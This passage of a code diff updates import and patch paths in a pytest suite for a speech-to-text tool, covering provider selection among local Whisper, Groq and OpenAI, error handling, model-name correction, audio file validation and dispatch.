from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True): + from hermes_agent_stt import _get_provider assert _get_provider({}) == "local" def test_auto_detect_prefers_groq_over_openai(self, monkeypatch): """Auto-detect: groq (free) is preferred over openai (paid).""" monkeypatch.setenv("GROQ_API_KEY", "gsk-test") monkeypatch.setenv("VOICE_TOOLS_OPENAI_KEY", "sk-test") - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._has_local_command", return_value=False), \ - patch("tools.transcription_tools._HAS_OPENAI", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True): + from hermes_agent_stt import _get_provider assert _get_provider({}) == "groq" def test_explicit_openai_no_key_returns_none(self, monkeypatch): """Explicit openai with no key returns none — no cross-provider fallback.""" monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False) monkeypatch.delenv("GROQ_API_KEY", raising=False) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._HAS_OPENAI", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True): + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "openai"}) == "none" def test_unknown_provider_passed_through(self): - from tools.transcription_tools import _get_provider + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "custom-endpoint"}) == "custom-endpoint" def test_empty_config_defaults_to_local(self): - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True): + from hermes_agent_stt import _get_provider assert _get_provider({}) == "local" @@ -149,19 +149,19 @@ class TestExplicitProviderRespected: even when an OpenAI API key is set.""" monkeypatch.setenv("OPENAI_API_KEY", "***") monkeypatch.delenv("GROQ_API_KEY", raising=False) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._has_local_command", return_value=False), \ - patch("tools.transcription_tools._HAS_OPENAI", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True): + from hermes_agent_stt import _get_provider result = _get_provider({"provider": "local"}) assert result == "none", f"Expected 'none' but got {result!r}" def test_explicit_local_no_fallback_to_groq(self, monkeypatch): monkeypatch.setenv("GROQ_API_KEY", "gsk-test") - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._has_local_command", return_value=False), \ - patch("tools.transcription_tools._HAS_OPENAI", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True): + from hermes_agent_stt import _get_provider result = _get_provider({"provider": "local"}) assert result == "none" @@ -171,17 +171,17 @@ class TestExplicitProviderRespected: "HERMES_LOCAL_STT_COMMAND", "whisper {input_path} --output_dir {output_dir} --language {language}", ) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False): + from hermes_agent_stt import _get_provider result = _get_provider({"provider": "local"}) assert result == "local_command" def test_explicit_groq_no_fallback_to_openai(self, monkeypatch): monkeypatch.delenv("GROQ_API_KEY", raising=False) monkeypatch.setenv("OPENAI_API_KEY", "sk-real-key") - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._HAS_OPENAI", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True): + from hermes_agent_stt import _get_provider result = _get_provider({"provider": "groq"}) assert result == "none" @@ -189,9 +189,9 @@ class TestExplicitProviderRespected: monkeypatch.delenv("OPENAI_API_KEY", raising=False) monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False) monkeypatch.setenv("GROQ_API_KEY", "gsk-test") - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._HAS_OPENAI", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True): + from hermes_agent_stt import _get_provider result = _get_provider({"provider": "openai"}) assert result == "none" @@ -199,10 +199,10 @@ class TestExplicitProviderRespected: """When no provider is explicitly set, auto-detect cloud fallback works.""" monkeypatch.setenv("OPENAI_API_KEY", "sk-real-key") monkeypatch.delenv("GROQ_API_KEY", raising=False) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._has_local_command", return_value=False), \ - patch("tools.transcription_tools._HAS_OPENAI", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True): + from hermes_agent_stt import _get_provider # Empty dict = no explicit provider, uses DEFAULT_PROVIDER auto-detect result = _get_provider({}) assert result == "openai" @@ -210,10 +210,10 @@ class TestExplicitProviderRespected: def test_auto_detect_prefers_groq_over_openai(self, monkeypatch): monkeypatch.setenv("GROQ_API_KEY", "gsk-test") monkeypatch.setenv("OPENAI_API_KEY", "sk-real-key") - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._has_local_command", return_value=False), \ - patch("tools.transcription_tools._HAS_OPENAI", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True): + from hermes_agent_stt import _get_provider result = _get_provider({}) assert result == "groq" @@ -225,15 +225,15 @@ class TestExplicitProviderRespected: class TestTranscribeGroq: def test_no_key(self, monkeypatch): monkeypatch.delenv("GROQ_API_KEY", raising=False) - from tools.transcription_tools import _transcribe_groq + from hermes_agent_stt import _transcribe_groq result = _transcribe_groq("/tmp/test.ogg", "whisper-large-v3-turbo") assert result["success"] is False assert "GROQ_API_KEY" in result["error"] def test_openai_package_not_installed(self, monkeypatch): monkeypatch.setenv("GROQ_API_KEY", "gsk-test") - with patch("tools.transcription_tools._HAS_OPENAI", False): - from tools.transcription_tools import _transcribe_groq + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", False): + from hermes_agent_stt import _transcribe_groq result = _transcribe_groq("/tmp/test.ogg", "whisper-large-v3-turbo") assert result["success"] is False assert "openai package" in result["error"] @@ -244,9 +244,9 @@ class TestTranscribeGroq: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = "hello world" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_groq + from hermes_agent_stt import _transcribe_groq result = _transcribe_groq(sample_wav, "whisper-large-v3-turbo") assert result["success"] is True @@ -260,9 +260,9 @@ class TestTranscribeGroq: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = " hello world \n" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_groq + from hermes_agent_stt import _transcribe_groq result = _transcribe_groq(sample_wav, "whisper-large-v3-turbo") assert result["transcript"] == "hello world" @@ -273,9 +273,9 @@ class TestTranscribeGroq: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = "test" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client) as mock_openai_cls: - from tools.transcription_tools import _transcribe_groq, GROQ_BASE_URL + from hermes_agent_stt import _transcribe_groq, GROQ_BASE_URL _transcribe_groq(sample_wav, "whisper-large-v3-turbo") call_kwargs = mock_openai_cls.call_args @@ -287,9 +287,9 @@ class TestTranscribeGroq: mock_client = MagicMock() mock_client.audio.transcriptions.create.side_effect = Exception("API error") - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_groq + from hermes_agent_stt import _transcribe_groq result = _transcribe_groq(sample_wav, "whisper-large-v3-turbo") assert result["success"] is False @@ -302,9 +302,9 @@ class TestTranscribeGroq: mock_client = MagicMock() mock_client.audio.transcriptions.create.side_effect = PermissionError("denied") - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_groq + from hermes_agent_stt import _transcribe_groq result = _transcribe_groq(sample_wav, "whisper-large-v3-turbo") assert result["success"] is False @@ -318,8 +318,8 @@ class TestTranscribeGroq: class TestTranscribeOpenAIExtended: def test_openai_package_not_installed(self, monkeypatch): monkeypatch.setenv("VOICE_TOOLS_OPENAI_KEY", "sk-test") - with patch("tools.transcription_tools._HAS_OPENAI", False): - from tools.transcription_tools import _transcribe_openai + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", False): + from hermes_agent_stt import _transcribe_openai result = _transcribe_openai("/tmp/test.ogg", "whisper-1") assert result["success"] is False assert "openai package" in result["error"] @@ -330,9 +330,9 @@ class TestTranscribeOpenAIExtended: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = "test" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client) as mock_openai_cls: - from tools.transcription_tools import _transcribe_openai, OPENAI_BASE_URL + from hermes_agent_stt import _transcribe_openai, OPENAI_BASE_URL _transcribe_openai(sample_wav, "whisper-1") call_kwargs = mock_openai_cls.call_args @@ -344,9 +344,9 @@ class TestTranscribeOpenAIExtended: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = " hello \n" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_openai + from hermes_agent_stt import _transcribe_openai result = _transcribe_openai(sample_wav, "whisper-1") assert result["transcript"] == "hello" @@ -358,9 +358,9 @@ class TestTranscribeOpenAIExtended: mock_client = MagicMock() mock_client.audio.transcriptions.create.side_effect = PermissionError("denied") - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_openai + from hermes_agent_stt import _transcribe_openai result = _transcribe_openai(sample_wav, "whisper-1") assert result["success"] is False @@ -371,9 +371,9 @@ class TestTranscribeOpenAIExtended: class TestTranscribeLocalCommand: def test_auto_detects_local_whisper_binary(self, monkeypatch): monkeypatch.delenv("HERMES_LOCAL_STT_COMMAND", raising=False) - monkeypatch.setattr("tools.transcription_tools._find_whisper_binary", lambda: "/opt/homebrew/bin/whisper") + monkeypatch.setattr("hermes_agent_stt.transcription_tools._find_whisper_binary", lambda: "/opt/homebrew/bin/whisper") - from tools.transcription_tools import _get_local_command_template + from hermes_agent_stt import _get_local_command_template template = _get_local_command_template() @@ -412,11 +412,11 @@ class TestTranscribeLocalCommand: (out_dir / "test.txt").write_text("hello from local command\n", encoding="utf-8") return subprocess.CompletedProcess(cmd, 0, stdout="", stderr="") - monkeypatch.setattr("tools.transcription_tools.tempfile.TemporaryDirectory", fake_tempdir) - monkeypatch.setattr("tools.transcription_tools._find_ffmpeg_binary", lambda: "/opt/homebrew/bin/ffmpeg") - monkeypatch.setattr("tools.transcription_tools.subprocess.run", fake_run) + monkeypatch.setattr("hermes_agent_stt.transcription_tools.tempfile.TemporaryDirectory", fake_tempdir) + monkeypatch.setattr("hermes_agent_stt.transcription_tools._find_ffmpeg_binary", lambda: "/opt/homebrew/bin/ffmpeg") + monkeypatch.setattr("hermes_agent_stt.transcription_tools.subprocess.run", fake_run) - from tools.transcription_tools import _transcribe_local_command + from hermes_agent_stt import _transcribe_local_command result = _transcribe_local_command(sample_ogg, "base") @@ -449,11 +449,11 @@ class TestTranscribeLocalExtended: mock_model.transcribe.return_value = ([mock_segment], mock_info) mock_whisper_cls = MagicMock(return_value=mock_model) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True), \ patch("faster_whisper.WhisperModel", mock_whisper_cls), \ - patch("tools.transcription_tools._local_model", None), \ - patch("tools.transcription_tools._local_model_name", None): - from tools.transcription_tools import _transcribe_local + patch("hermes_agent_stt.transcription_tools._local_model", None), \ + patch("hermes_agent_stt.transcription_tools._local_model_name", None): + from hermes_agent_stt import _transcribe_local _transcribe_local(str(audio), "base") _transcribe_local(str(audio), "base") @@ -475,11 +475,11 @@ class TestTranscribeLocalExtended: mock_model.transcribe.return_value = ([mock_segment], mock_info) mock_whisper_cls = MagicMock(return_value=mock_model) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True), \ patch("faster_whisper.WhisperModel", mock_whisper_cls), \ - patch("tools.transcription_tools._local_model", None), \ - patch("tools.transcription_tools._local_model_name", None): - from tools.transcription_tools import _transcribe_local + patch("hermes_agent_stt.transcription_tools._local_model", None), \ + patch("hermes_agent_stt.transcription_tools._local_model_name", None): + from hermes_agent_stt import _transcribe_local _transcribe_local(str(audio), "base") _transcribe_local(str(audio), "small") @@ -491,10 +491,10 @@ class TestTranscribeLocalExtended: mock_whisper_cls = MagicMock(side_effect=RuntimeError("CUDA out of memory")) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True), \ patch("faster_whisper.WhisperModel", mock_whisper_cls), \ - patch("tools.transcription_tools._local_model", None): - from tools.transcription_tools import _transcribe_local + patch("hermes_agent_stt.transcription_tools._local_model", None): + from hermes_agent_stt import _transcribe_local result = _transcribe_local(str(audio), "large-v3") assert result["success"] is False @@ -515,10 +515,10 @@ class TestTranscribeLocalExtended: mock_model = MagicMock() mock_model.transcribe.return_value = ([seg1, seg2], mock_info) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True), \ patch("faster_whisper.WhisperModel", return_value=mock_model), \ - patch("tools.transcription_tools._local_model", None): - from tools.transcription_tools import _transcribe_local + patch("hermes_agent_stt.transcription_tools._local_model", None): + from hermes_agent_stt import _transcribe_local result = _transcribe_local(str(audio), "base") assert result["success"] is True @@ -546,11 +546,11 @@ class TestTranscribeLocalExtended: raise RuntimeError("Library libcublas.so.12 is not found or cannot be loaded") return cpu_model - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True), \ patch("faster_whisper.WhisperModel", side_effect=fake_whisper), \ - patch("tools.transcription_tools._local_model", None), \ - patch("tools.transcription_tools._local_model_name", None): - from tools.transcription_tools import _transcribe_local + patch("hermes_agent_stt.transcription_tools._local_model", None), \ + patch("hermes_agent_stt.transcription_tools._local_model_name", None): + from hermes_agent_stt import _transcribe_local result = _transcribe_local(str(audio), "base") assert result["success"] is True @@ -584,11 +584,11 @@ class TestTranscribeLocalExtended: call_args.append((device, compute_type)) return models.pop(0) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True), \ patch("faster_whisper.WhisperModel", side_effect=fake_whisper), \ - patch("tools.transcription_tools._local_model", None), \ - patch("tools.transcription_tools._local_model_name", None): - from tools.transcription_tools import _transcribe_local + patch("hermes_agent_stt.transcription_tools._local_model", None), \ + patch("hermes_agent_stt.transcription_tools._local_model_name", None): + from hermes_agent_stt import _transcribe_local result = _transcribe_local(str(audio), "base") assert result["success"] is True @@ -607,11 +607,11 @@ class TestTranscribeLocalExtended: mock_whisper_cls = MagicMock(side_effect=RuntimeError("CUDA out of memory")) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", True), \ patch("faster_whisper.WhisperModel", mock_whisper_cls), \ - patch("tools.transcription_tools._local_model", None), \ - patch("tools.transcription_tools._local_model_name", None): - from tools.transcription_tools import _transcribe_local + patch("hermes_agent_stt.transcription_tools._local_model", None), \ + patch("hermes_agent_stt.transcription_tools._local_model_name", None): + from hermes_agent_stt import _transcribe_local result = _transcribe_local(str(audio), "base") # Single call — no CPU retry, because OOM isn't a missing-lib symptom. @@ -631,9 +631,9 @@ class TestModelAutoCorrection: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = "hello world" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_groq, DEFAULT_GROQ_STT_MODEL + from hermes_agent_stt import _transcribe_groq, DEFAULT_GROQ_STT_MODEL _transcribe_groq(sample_wav, "whisper-1") call_kwargs = mock_client.audio.transcriptions.create.call_args @@ -645,9 +645,9 @@ class TestModelAutoCorrection: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = "test" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_groq, DEFAULT_GROQ_STT_MODEL + from hermes_agent_stt import _transcribe_groq, DEFAULT_GROQ_STT_MODEL _transcribe_groq(sample_wav, "gpt-4o-transcribe") call_kwargs = mock_client.audio.transcriptions.create.call_args @@ -659,9 +659,9 @@ class TestModelAutoCorrection: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = "hello world" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_openai, DEFAULT_STT_MODEL + from hermes_agent_stt import _transcribe_openai, DEFAULT_STT_MODEL _transcribe_openai(sample_wav, "whisper-large-v3-turbo") call_kwargs = mock_client.audio.transcriptions.create.call_args @@ -673,9 +673,9 @@ class TestModelAutoCorrection: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = "test" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_openai, DEFAULT_STT_MODEL + from hermes_agent_stt import _transcribe_openai, DEFAULT_STT_MODEL _transcribe_openai(sample_wav, "distil-whisper-large-v3-en") call_kwargs = mock_client.audio.transcriptions.create.call_args @@ -687,9 +687,9 @@ class TestModelAutoCorrection: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = "test" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_groq + from hermes_agent_stt import _transcribe_groq _transcribe_groq(sample_wav, "whisper-large-v3") call_kwargs = mock_client.audio.transcriptions.create.call_args @@ -701,9 +701,9 @@ class TestModelAutoCorrection: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = "test" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_openai + from hermes_agent_stt import _transcribe_openai _transcribe_openai(sample_wav, "gpt-4o-mini-transcribe") call_kwargs = mock_client.audio.transcriptions.create.call_args @@ -716,9 +716,9 @@ class TestModelAutoCorrection: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = "test" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_groq + from hermes_agent_stt import _transcribe_groq _transcribe_groq(sample_wav, "my-custom-model") call_kwargs = mock_client.audio.transcriptions.create.call_args @@ -730,9 +730,9 @@ class TestModelAutoCorrection: mock_client = MagicMock() mock_client.audio.transcriptions.create.return_value = "test" - with patch("tools.transcription_tools._HAS_OPENAI", True), \ + with patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ patch("openai.OpenAI", return_value=mock_client): - from tools.transcription_tools import _transcribe_openai + from hermes_agent_stt import _transcribe_openai _transcribe_openai(sample_wav, "my-custom-model") call_kwargs = mock_client.audio.transcriptions.create.call_args @@ -745,15 +745,15 @@ class TestModelAutoCorrection: class TestLoadSttConfig: def test_returns_dict_when_import_fails(self): - with patch("tools.transcription_tools._load_stt_config") as mock_load: + with patch("hermes_agent_stt.transcription_tools._load_stt_config") as mock_load: mock_load.return_value = {} - from tools.transcription_tools import _load_stt_config + from hermes_agent_stt import _load_stt_config assert _load_stt_config() == {} def test_real_load_returns_dict(self): """_load_stt_config should always return a dict, even on import error.""" with patch.dict("sys.modules", {"hermes_cli": None, "hermes_cli.config": None}): - from tools.transcription_tools import _load_stt_config + from hermes_agent_stt import _load_stt_config result = _load_stt_config() assert isinstance(result, dict) @@ -764,7 +764,7 @@ class TestLoadSttConfig: class TestValidateAudioFileEdgeCases: def test_directory_is_not_a_file(self, tmp_path): - from tools.transcription_tools import _validate_audio_file + from hermes_agent_stt import _validate_audio_file # tmp_path itself is a directory with an .ogg-ish name? No. # Create a directory with a valid audio extension d = tmp_path / "audio.ogg" @@ -785,7 +785,7 @@ class TestValidateAudioFileEdgeCases: except (OSError, NotImplementedError) as exc: pytest.skip(f"symlink creation unavailable: {exc}") - from tools.transcription_tools import _validate_audio_file + from hermes_agent_stt import _validate_audio_file result = _validate_audio_file(str(link)) assert result is not None assert "symbolic link" in result["error"] @@ -793,7 +793,7 @@ class TestValidateAudioFileEdgeCases: def test_stat_oserror(self, tmp_path): f = tmp_path / "test.ogg" f.write_bytes(b"data") - from tools.transcription_tools import _validate_audio_file + from hermes_agent_stt import _validate_audio_file with patch("pathlib.Path.exists", return_value=True), \ patch("pathlib.Path.is_file", return_value=True), \ @@ -804,14 +804,14 @@ class TestValidateAudioFileEdgeCases: assert "Failed to access" in result["error"] def test_all_supported_formats_accepted(self, tmp_path): - from tools.transcription_tools import _validate_audio_file, SUPPORTED_FORMATS + from hermes_agent_stt import _validate_audio_file, SUPPORTED_FORMATS for fmt in SUPPORTED_FORMATS: f = tmp_path / f"test{fmt}" f.write_bytes(b"data") assert _validate_audio_file(str(f)) is None, f"Format {fmt} should be accepted" def test_case_insensitive_extension(self, tmp_path): - from tools.transcription_tools import _validate_audio_file + from hermes_agent_stt import _validate_audio_file f = tmp_path / "test.MP3" f.write_bytes(b"data") assert _validate_audio_file(str(f)) is None @@ -823,11 +823,11 @@ class TestValidateAudioFileEdgeCases: class TestTranscribeAudioDispatch: def test_dispatches_to_groq(self, sample_ogg): - with patch("tools.transcription_tools._load_stt_config", return_value={"provider": "groq"}), \ - patch("tools.transcription_tools._get_provider", return_value="groq"), \ - patch("tools.transcription_tools._transcribe_groq", + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"provider": "groq"}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="groq"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_groq", return_value={"success": True, "transcript": "hi", "provider": "groq"}) as mock_groq: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio result = transcribe_audio(sample_ogg) assert result["success"] is True @@ -835,31 +835,31 @@ class TestTranscribeAudioDispatch: mock_groq.assert_called_once() def test_dispatches_to_local(self, sample_ogg): - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ - patch("tools.transcription_tools._get_provider", return_value="local"), \ - patch("tools.transcription_tools._transcribe_local", + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="local"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_local", return_value={"success": True, "transcript": "hi"}) as mock_local: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio result = transcribe_audio(sample_ogg) assert result["success"] is True mock_local.assert_called_once() def test_dispatches_to_openai(self, sample_ogg): - with patch("tools.transcription_tools._load_stt_config", return_value={"provider": "openai"}), \ - patch("tools.transcription_tools._get_provider", return_value="openai"), \ - patch("tools.transcription_tools._transcribe_openai", + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"provider": "openai"}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="openai"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_openai", return_value={"success": True, "transcript": "hi", "provider": "openai"}) as mock_openai: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio result = transcribe_audio(sample_ogg) assert result["success"] is True mock_openai.assert_called_once() def test_no_provider_returns_error(self, sample_ogg): - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ - patch("tools.transcription_tools._get_provider", return_value="none"): - from tools.transcription_tools import transcribe_audio + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="none"): + from hermes_agent_stt import transcribe_audio result = transcribe_audio(sample_ogg) assert result["success"] is False @@ -872,70 +872,70 @@ class TestTranscribeAudioDispatch: monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False) monkeypatch.delenv("OPENAI_API_KEY", raising=False) - with patch("tools.transcription_tools._load_stt_config", return_value={"provider": "openai"}), \ - patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._HAS_OPENAI", True): - from tools.transcription_tools import transcribe_audio + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"provider": "openai"}), \ + patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True): + from hermes_agent_stt import transcribe_audio result = transcribe_audio(sample_ogg) assert result["success"] is False assert "No STT provider" in result["error"] def test_invalid_file_short_circuits(self): - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio result = transcribe_audio("/nonexistent/audio.wav") assert result["success"] is False assert "not found" in result["error"] def test_model_override_passed_to_groq(self, sample_ogg): - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ - patch("tools.transcription_tools._get_provider", return_value="groq"), \ - patch("tools.transcription_tools._transcribe_groq", + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="groq"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_groq", return_value={"success": True, "transcript": "hi"}) as mock_groq: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio transcribe_audio(sample_ogg, model="whisper-large-v3") _, kwargs = mock_groq.call_args assert kwargs.get("model_name") or mock_groq.call_args[0][1] == "whisper-large-v3" def test_model_override_passed_to_local(self, sample_ogg): - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ - patch("tools.transcription_tools._get_provider", return_value="local"), \ - patch("tools.transcription_tools._transcribe_local", + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="local"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_local", return_value={"success": True, "transcript": "hi"}) as mock_local: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio transcribe_audio(sample_ogg, model="large-v3") assert mock_local.call_args[0][1] == "large-v3" def test_default_model_used_when_none(self, sample_ogg): - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ - patch("tools.transcription_tools._get_provider", return_value="groq"), \ - patch("tools.transcription_tools._transcribe_groq", + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="groq"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_groq", return_value={"success": True, "transcript": "hi"}) as mock_groq: - from tools.transcription_tools import transcribe_audio, DEFAULT_GROQ_STT_MODEL + from hermes_agent_stt import transcribe_audio, DEFAULT_GROQ_STT_MODEL transcribe_audio(sample_ogg, model=None) assert mock_groq.call_args[0][1] == DEFAULT_GROQ_STT_MODEL def test_config_local_model_used(self, sample_ogg): config = {"local": {"model": "small"}} - with patch("tools.transcription_tools._load_stt_config", return_value=config), \ - patch("tools.transcription_tools._get_provider", return_value="local"), \ - patch("tools.transcription_tools._transcribe_local", + with 